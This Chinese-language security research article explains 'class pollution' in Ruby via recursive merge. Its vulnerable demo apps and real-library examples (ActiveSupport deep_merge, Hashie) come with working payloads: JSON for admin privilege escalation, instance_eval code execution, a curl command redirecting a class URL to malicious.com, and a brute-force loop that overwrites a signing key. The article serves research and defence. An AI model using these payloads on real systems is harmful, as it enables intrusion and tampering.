Ruby类污染:深入探索递归合并利用
引言
本文将探讨Ruby中一类鲜为人知的漏洞类型——类污染。这一概念受到JavaScript原型污染的启发,通过递归合并操作污染对象的原型链,导致意外行为。最初在关于Python原型污染的博客文章中讨论,研究人员使用递归合并污染类变量,最终通过__globals__
属性影响全局变量。
在Ruby中,类污染可分为三种主要情况:
- 哈希合并:此场景下无法实现类污染,因为合并操作仅限于哈希本身
- 属性合并(非递归):可污染对象的实例变量,可能通过注入返回值替换方法。这种污染仅限于对象本身,不影响类
- 属性合并(递归):递归合并的特性允许我们逃逸对象上下文,污染父类甚至无关类的属性或方法,对应用产生更广泛的影响
属性合并
首先分析一个代码示例,通过递归合并修改对象方法并改变应用行为。这种污染仅限于对象本身。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
require 'json'
# 基类
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# 合并额外数据到对象
def merge_with(additional)
recursive_merge(self, additional)
end
# 基于to_s方法的授权检查
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# 健康检查,使用instance_eval执行所有保护方法
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# 管理员类
class Admin < Person
def to_s
"Admin"
end
end
# 普通用户类
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(additional_object)
# 授权检查(权限提升漏洞)
user.authorize
# 执行健康检查(RCE漏洞)
user.health_check
end
end
|
在提供的代码中,我们对User对象的属性执行递归合并,允许注入或覆盖值,可能在不直接修改类定义的情况下改变对象行为。
工作原理
初始化和设置:
User对象使用特定属性初始化:name、age和details。这些属性作为实例变量存储在对象中。
合并:
使用表示要合并到User对象中的额外数据的JSON输入调用merge_with方法。
改变对象行为:
通过传递精心构造的JSON数据,可以修改或注入新的实例变量,影响User对象的行为方式。
例如,在authorize方法中,to_s方法决定是否授予用户管理员权限。通过注入返回"Admin"的新to_s方法,可以提升用户权限。
类似地,在health_check方法中,可以通过覆盖通过instance_eval调用的方法注入任意代码执行。
利用示例
权限提升:
1
|
ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
注入返回"Admin"的新to_s方法,授予用户未经授权的管理员权限。
远程代码执行:
1
|
ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
向protected_methods列表注入新方法,然后由instance_eval执行,允许任意代码执行。
限制
上述更改仅限于特定对象实例,不影响同一类的其他实例。这意味着虽然对象行为被改变,但同一类的其他对象保持不变。
此示例突显了如果管理不当,看似无害的操作(如递归合并)如何被利用引入严重漏洞。通过了解这些风险,开发人员可以更好地保护应用免受此类攻击。
真实案例
接下来探索Ruby中执行合并的两个最流行库,看看它们如何容易受到类污染攻击。需要注意的是,还有其他库可能受此类问题影响,这些漏洞的整体影响各不相同。
1. ActiveSupport的deep_merge
ActiveSupport是Ruby on Rails的内置组件,为哈希提供deep_merge方法。就其本身而言,此方法不可利用,因为它仅限于哈希。但如果与以下内容结合使用,可能变得易受攻击:
1
2
3
4
5
6
7
8
9
10
|
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
|
在此示例中,如果按所示使用deep_merge,我们可以类似第一个示例利用它,导致应用行为的潜在危险变化。
2. Hashie
Hashie库广泛用于在Ruby中创建灵活的数据结构,提供deep_merge等功能。但与之前ActiveSupport的示例不同,Hashie的deep_merge方法直接对对象属性而不是普通哈希进行操作。这使其更容易受到属性污染。
Hashie有一个内置机制,防止在合并期间直接用属性替换方法。通常,如果尝试通过deep_merge用属性覆盖方法,Hashie将阻止尝试并发出警告。但此规则有特定例外:以_、!或?结尾的属性仍可以合并到对象中,即使它们与现有方法冲突。
关键点:
- 方法保护:Hashie保护方法名称不被以_、!或?结尾的属性直接覆盖
- _的特殊处理:关键漏洞在于_作为独立属性的处理
实际示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
require 'json'
require 'hashie'
class Person < Hashie::Mash
def merge_with(other_object)
deep_merge!(other_object)
self
end
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
class Admin < Person
def to_s
"Admin"
end
end
class User < Person
def to_s
"User"
end
end
|
在提供的代码中,我们利用Hashie对_的处理来操纵授权过程的行为。当调用_.to_s时,它访问新创建的Mash对象,我们可以在其中注入值"Admin"。这允许攻击者通过将数据注入临时Mash对象来绕过基于方法的授权检查。
例如,JSON有效载荷{"_": "Admin"}
将字符串"Admin"注入由_创建的临时Mash对象中,允许用户通过authorize方法获得管理员访问权限,即使to_s方法本身没有被直接覆盖。
此漏洞突显了如何利用Hashie库的某些特性来绕过应用逻辑,即使有防止方法覆盖的保护措施。
逃逸对象以污染类
当合并操作是递归的并以属性为目标时,可能逃逸对象上下文并污染类、其父类甚至其他无关类的属性或方法。这种污染影响整个应用上下文,可能导致严重漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
require 'json'
require 'sinatra/base'
require 'net/http'
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
get '/launch-curl-command' do
content_type :json
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
get '/sign_with_subclass_key' do
content_type :json
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
end
|
在以下示例中,我们演示了两种不同类型的类污染:
(A) 污染父类
在此利用中,使用递归合并操作修改Person类(User的父类)中的@@url变量。通过向此变量注入恶意URL,可以操纵应用后续的HTTP请求。
例如,使用以下curl命令:
1
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
我们成功污染了Person类中的@@url变量。当访问/launch-curl-command端点时,它现在向http://malicious.com发送请求,而不是原始URL。
这演示了递归合并如何逃逸对象级别并修改类级别变量,影响整个应用。
(B) 污染其他类
此利用利用暴力感染特定子类。通过重复尝试向随机子类注入恶意数据,最终可以定位并污染负责签名数据的KeySigner类。
例如,使用以下循环curl命令:
1
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
我们尝试污染KeySigner中的@@signing_key变量。几次尝试后,KeySigner类被感染,签名密钥被替换为我们注入的密钥。
此利用突显了递归合并与暴力子类选择结合的危险性。虽然有效,但此方法可能由于其侵略性而导致问题,可能导致类的过度感染。
在后来的示例中,我们设置了一个HTTP服务器来演示感染的类如何在多个HTTP请求中保持污染。这些感染的持久性表明,一旦类被污染,整个应用上下文就会受到损害,涉及该类的所有未来操作都将表现出不可预测的行为。
服务器设置还允许我们通过特定端点轻松检查这些感染变量的状态。例如,/check-infected-vars端点输出@@url和@@signing_key变量的当前值,确认感染是否成功。
这种方法清楚地展示了Ruby中的类污染如何具有持久和深远的影响,使其成为需要保护的关键领域。
结论
此处进行的研究强调了Ruby中类污染相关的风险,特别是在涉及递归合并时。这些漏洞特别危险,因为它们允许攻击者逃逸对象的限制并操纵更广泛的应用上下文。通过了解这些机制并仔细考虑如何处理数据合并,可以减轻Ruby应用中类污染的风险。